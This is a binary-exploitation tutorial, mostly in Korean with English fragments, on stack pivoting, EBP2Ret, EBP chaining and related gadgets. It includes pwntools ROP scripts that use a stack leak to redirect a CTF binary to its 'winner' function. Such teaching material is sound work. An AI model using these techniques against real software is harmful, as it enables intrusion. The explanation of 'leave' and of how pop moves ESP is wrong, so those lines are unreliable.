Stack Pivoting - EBP2Ret - EBP chaining

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기본 정보

이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 leave; ret 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.

상기 사항으로, **leave**는 기본적으로 다음을 의미합니다:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

이 기술은 EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.

fvuln 실행 중에, 가짜 EBP를 스택에 주입하여 쉘코드 주소가 위치한 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the pop operation), EIP를 간접적으로 제어할 수 있습니다. fvuln이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 pop 작업은 ESP를 4만큼 감소시켜 실제로 공격자가 그곳에 저장한 주소를 가리키게 만듭니다. 여기서 2개의 주소를 알아야 한다는 점에 유의하세요: ESP가 갈 주소와, ESP가 가리키는 주소를 써야 할 주소입니다.

Exploit Construction

먼저 임의의 데이터/주소를 쓸 수 있는 주소를 알아야 합니다. ESP는 여기로 가서 **첫 번째 ret**을 실행합니다.

그 다음, 임의의 코드를 실행할 ret에서 사용되는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:

• 유효한 ONE_GADGET 주소.

• **system()**의 주소 뒤에 4개의 쓰레기 바이트와 "/bin/sh"의 주소(x86 bits).

• jump esp; 가젯(ret2esp) 뒤에 실행할 쉘코드.

• 일부 ROP 체인.

제어된 메모리 부분의 이러한 주소 앞에는 4 바이트가 있어야 합니다. 이는 pop 부분의 leave 명령어 때문입니다. 이 4B를 악용하여 두 번째 가짜 EBP를 설정하고 실행을 계속 제어할 수 있습니다.

Off-By-One Exploit

이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 EBP의 가장 하위 바이트만 수정할 수 있을 때 사용됩니다. 이 경우, **ret**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다. 보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.

또한, 스택에서 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.

EBP Chaining

따라서 스택의 EBP 항목에 제어된 주소를 넣고 EIP에 leave; ret 주소를 넣으면, 스택에서 제어된 EBP 주소로 ESP를 이동시킬 수 있습니다.

이제 **ESP**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 RET입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:

• &(next fake EBP) -> leave 명령어의 pop ebp로 인해 새로운 EBP를 로드합니다.

• system() -> ret에 의해 호출됩니다.

• &(leave;ret) -> 시스템이 끝난 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.

• &("/bin/sh")-> system의 매개변수.

기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.

이것은 ret2lib와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서는 흥미로울 수 있습니다.

게다가, 여기에서 스택 누수를 사용하여 승리하는 함수를 호출하는 챌린지의 예가 있습니다. 이것은 페이지의 최종 페이로드입니다:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP는 사용되지 않을 수 있음

이 게시물에서 설명된 바와 같이, 이진 파일이 일부 최적화와 함께 컴파일되면, EBP는 ESP를 제어하지 않게 됩니다, 따라서 EBP를 제어하여 작동하는 모든 익스플로잇은 기본적으로 실패하게 됩니다. 이는 프로로그와 에필로그가 이진 파일이 최적화되면 변경되기 때문입니다.

• 최적화되지 않음:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return

• 최적화됨:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP를 제어하는 다른 방법

pop rsp 가젯

이 페이지에서 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, pop rsp 가젯이 있었고 스택에서의 leak이 있었습니다:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp 기술에 대한 내용은 여기에서 확인하세요:

Ret2esp / Ret2reg

References & Other Examples

• https://bananamafia.dev/post/binary-rop-stackpivot/

• https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting

• https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html

• 64비트, ret sled로 시작하는 off by one exploitation

• https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html

• 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 다시 돌아가 pie leak를 얻습니다. 그런 다음 WWW를 사용하여 .fini_array 항목을 남용하여 영구 루프를 생성하고 __libc_csu_fini를 호출합니다 (자세한 정보는 여기). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.

ARM64

ARM64에서 함수의 프롤로그와 에필로그는 스택에서 SP 레지스터를 저장하고 검색하지 않습니다. 게다가 RET 명령은 SP가 가리키는 주소로 반환하지 않고 x30 내부의 주소로 반환합니다.

따라서 기본적으로 에필로그를 남용하더라도 스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다. SP를 제어할 수 있게 되더라도 여전히 x30 레지스터를 제어할 방법이 필요합니다.

• 프롤로그

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP는 프레임 레코드를 가리킴

• 에필로그

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **SP**를 제어할 수 있는 것입니다 (어떤 레지스터의 값을 제어하여 SP에 전달하거나, 어떤 이유로 SP가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 에필로그를 남용하여 **제어된 SP**에서 x30 레지스터를 로드하고 **RET**를 호출하는 것입니다.

다음 페이지에서 ARM64의 Ret2esp에 해당하는 내용을 볼 수 있습니다:

Ret2esp / Ret2reg

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